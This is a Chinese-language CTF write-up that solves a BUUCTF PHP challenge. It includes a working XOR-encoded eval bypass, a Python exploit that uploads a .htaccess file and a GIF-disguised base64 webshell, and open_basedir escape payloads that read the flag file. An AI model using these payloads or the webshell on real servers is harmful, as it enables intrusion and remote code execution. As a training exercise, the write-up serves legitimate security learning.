点击连接查看到源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
看源码定义了一个函数get_the_flag(),而在代码下端有着我们熟悉的eval()函数, 但后面的代码正则匹配过滤了许多字符串,难以REC,再看到前面定义的函数,我们猜想是否可以上传小马
count_chars() 函数返回字符串所用字符的信息(例如,ASCII 字符在字符串中出现的次数,或者某个字符是否已经在字符串中使用过)。
既然如此我们就利用eval()函数来调用get_the_flag()
我们采取异或来绕过字符串的过滤
放个网上看到的payload
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
get_the_flag()对上传文件进行了三层过滤
1、看有没有ph后缀的
2、看文件内容有没有<?
3、通过exif_imagetype函数看看是不是图片
我们无法直接上传php文件,但我们可以利用.htaccess来绕过
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
分享一个网上的exp
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://edaa6186-d365-4fdb-bcc8-d15d8c36cb3b.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
在头部定义图片大小
#define width 1337
#define height 1337
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
GIF89a后面加12是为了凑齐8个字节,满足base64的规则
运行exp
连接蚁剑
得到flag
这里不知道为啥我的蚁剑上再看时就没有限制了
如若按在网页上查看phpinfo上的限制来,我们只能访问网站根目录和/tmp,无法访问到flag存放的地方,我们可以绕过此限制,详情原理可看此文章,菜鸟表示看不懂
payload:cmd=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));
payload:cmd=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);echo file_get_contents('/THis_Is_tHe_F14g');